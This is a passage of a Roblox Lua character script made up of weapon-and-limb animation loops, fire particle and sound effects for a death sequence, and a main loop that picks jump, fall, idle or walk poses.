4458
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4459
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4460
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4461
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4462
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4463
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4464
    end
4465
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) 
4466
for i=0,1,0.1 do
4467
        swait()
4468
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4469
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4470
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4471
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
4472
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4473
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4474
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4475
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
4476
       	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4477
    end
4478
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4479
for i=0,1,0.1 do
4480
        swait()
4481
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4482
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4483
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4484
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4485
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4486
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4487
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4488
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4489
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4490
       
4491
    end
4492
so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
4493
for i=0,1,0.1 do
4494
        swait()
4495
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4496
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4497
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4498
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
4499
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4500
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4501
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4502
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
4503
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4504
    end
4505
so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4506
for i=0,1,0.1 do
4507
        swait()
4508
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4509
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4510
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4511
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4512
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4513
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4514
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4515
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4516
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4517
    end
4518
    --dmgstop()
4519
    Humanoid.WalkSpeed=12
4520
    attack=false
4521
end
4522
4523
function Die()
4524
    attack=true
4525
Footsteps:Stop()
4526
Footsteps2:Stop()
4527
local Fire = it("Sound",Character.Torso)
4528
Fire.SoundId = "rbxassetid://192104941"
4529
Fire.Looped = true
4530
Fire.Pitch = 1
4531
Fire.Volume = 1
4532
local Fire2 = it("Sound",Handle2)
4533
Fire2.SoundId = "rbxassetid://192104941"
4534
Fire2.Looped = true
4535
Fire2.Pitch = 1
4536
Fire2.Volume = 1
4537
local Fire3 = it("Sound",Handle)
4538
Fire3.SoundId = "rbxassetid://192104941"
4539
Fire3.Looped = true
4540
Fire3.Pitch = 1
4541
Fire3.Volume = 1
4542
local Fire4 = it("Sound",handle)
4543
Fire4.SoundId = "rbxassetid://192104941"
4544
Fire4.Looped = true
4545
Fire4.Pitch = 1
4546
Fire4.Volume = 1
4547
local fire = Instance.new("ParticleEmitter", Character.Torso)
4548
fire.Lifetime = NumberRange.new(0.5)
4549
fire.Speed = NumberRange.new(1, 3)
4550
fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
4551
fire.Rate = 0
4552
fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4553
fire.LightEmission = 0.6
4554
fire.Texture = "http://www.roblox.com/asset/?id=242911609"
4555
fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4556
local fire2 = Instance.new("ParticleEmitter", Handle)
4557
fire2.Lifetime = NumberRange.new(0.5)
4558
fire2.Speed = NumberRange.new(1, 3)
4559
fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
4560
fire2.Rate = 0
4561
fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4562
fire2.LightEmission = 0.6
4563
fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
4564
fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4565
local fire3 = Instance.new("ParticleEmitter", Handle2)
4566
fire3.Lifetime = NumberRange.new(0.5)
4567
fire3.Speed = NumberRange.new(1, 3)
4568
fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
4569
fire3.Rate = 0
4570
fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4571
fire3.LightEmission = 0.6
4572
fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
4573
fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4574
local fire4 = Instance.new("ParticleEmitter", handle)
4575
fire4.Lifetime = NumberRange.new(0.5)
4576
fire4.Speed = NumberRange.new(1, 3)
4577
fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
4578
fire4.Rate = 0
4579
fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4580
fire4.LightEmission = 0.6
4581
fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
4582
fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4583
    Humanoid.WalkSpeed = 0
4584
    so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
4585
    so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
4586
    for i=0,1,0.08 do
4587
        swait()
4588
        Torso.Velocity=RootPart.CFrame.lookVector*-30
4589
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
4590
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
4591
        handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4592
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4593
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4594
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
4595
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
4596
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
4597
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
4598
    end
4599
    for i=0,1,0.005 do
4600
        swait()
4601
        light.Range=15-10*i
4602
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4603
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4604
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4605
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4606
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4607
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4608
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4609
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4610
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4611
    end
4612
light.Range=0
4613
    for i=0,1,0.01 do
4614
        swait()
4615
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4616
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4617
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4618
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4619
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4620
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4621
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4622
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4623
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4624
    end
4625
    so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
4626
    fire.Rate = 1000
4627
    fire2.Rate = 1000
4628
    fire3.Rate = 1000
4629
    fire4.Rate = 1000
4630
	Fire:Play()
4631
	Fire2:Play()
4632
	Fire3:Play()
4633
	Fire4:Play()
4634
    for i=0,1,0.005 do
4635
        swait()
4636
Character.Head.face.Transparency = 0+1*i
4637
LeftArm.Transparency=0+1*i
4638
RightArm.Transparency=0+1*i
4639
LeftLeg.Transparency=0+1*i
4640
RightLeg.Transparency=0+1*i
4641
Head.Transparency=0+1*i
4642
Torso.Transparency=0+1*i
4643
for _,v in pairs(Character:children()) do
4644
                if v:IsA("Hat") then
4645
                        v.Handle.Transparency = 0+1*i
4646
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4647
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4648
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4649
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4650
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4651
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4652
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4653
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4654
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4655
    end
4656
    end
4657
    --dmgstop()
4658
end
4659
Humanoid.Health = 0
4660
end
4661
4662
equipanim()
4663
4664
local sine = 0
4665
local change = 1
4666
local val = 0
4667
4668
local mananum=0
4669
while true do
4670
swait()
4671
sine = sine + change
4672
local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude 
4673
local velderp=RootPart.Velocity.y
4674
hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
4675
if equipped==true or equipped==false then
4676
if Anim=="Idle" and attack==false then
4677
idle=idle+1
4678
else
4679
idle=0
4680
end
4681
if Humanoid.Health <=20 then
4682
if attack == false then
4683
Humanoid.Health = math.huge
4684
Die()
4685
end
4686
end
4687
if idle>=1000 then
4688
if attack==false then
4689
--Sheath()
4690
end
4691
end
4692
if RootPart.Velocity.y > 1 and hitfloor==nil then 
4693
Anim="Jump"
4694
if attack==false then
4695
Footsteps:Stop()
4696
Footsteps2:Stop()
4697
Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
4698
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4699
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
4700
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
4701
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4702
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
4703
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4704
RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
4705
LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
4706
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
4707
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
4708
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
4709
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4710
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4711
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4712
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4713
end
4714
elseif RootPart.Velocity.y < -1 and hitfloor==nil then 
4715
Anim="Fall"
4716
if attack==false then
4717
Footsteps:Stop()
4718
Footsteps2:Stop()
4719
Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
4720
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4721
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
4722
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
4723
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4724
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
4725
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4726
RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
4727
LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
4728
handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4729
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
4730
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
4731
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4732
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4733
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4734
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4735
end
4736
elseif torvel<1 and hitfloor~=nil then
4737
Anim="Idle"
4738
change=0.5
4739
if idle>=1000 then
4740
if attack==false then
4741
Footsteps:Stop()
4742
Footsteps2:Stop()
4743
Humanoid.WalkSpeed=12
4744
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
4745
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
4746
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
4747
RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
4748
LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
4749
RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
4750
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
4751
handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
4752
Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
4753
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
4754
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4755
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4756
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4757
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4758
end
4759
else
4760
if attack==false then
4761
Footsteps:Stop()
4762
Footsteps2:Stop()
4763
Humanoid.WalkSpeed=12
4764
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
4765
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
4766
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
4767
RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
4768
LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
4769
RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
4770
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
4771
handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
4772
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
4773
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,1.5,0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
4774
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4775
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4776
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4777
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4778
end
4779
end
4780
elseif torvel>2 and torvel<22 and hitfloor~=nil then
4781
Anim="Walk"
4782
if attack==false then
4783
change=0.8
4784
--[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3)
4785
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3)
4786
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
4787
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3)
4788
RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3)
4789
LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3)
4790
--Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4791
Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4792
RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2)
4793
--RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-0.1,0,0.2),.2)
4794
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-5),math.rad(-25),math.rad(20)),.3)
4795
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(5),math.rad(25),math.rad(-20)),.3)
4796
RH.C0=clerp(RH.C0,RHC0,.3)
4797
LH.C0=clerp(LH.C0,LHC0,.3)
4798
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4799
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4800
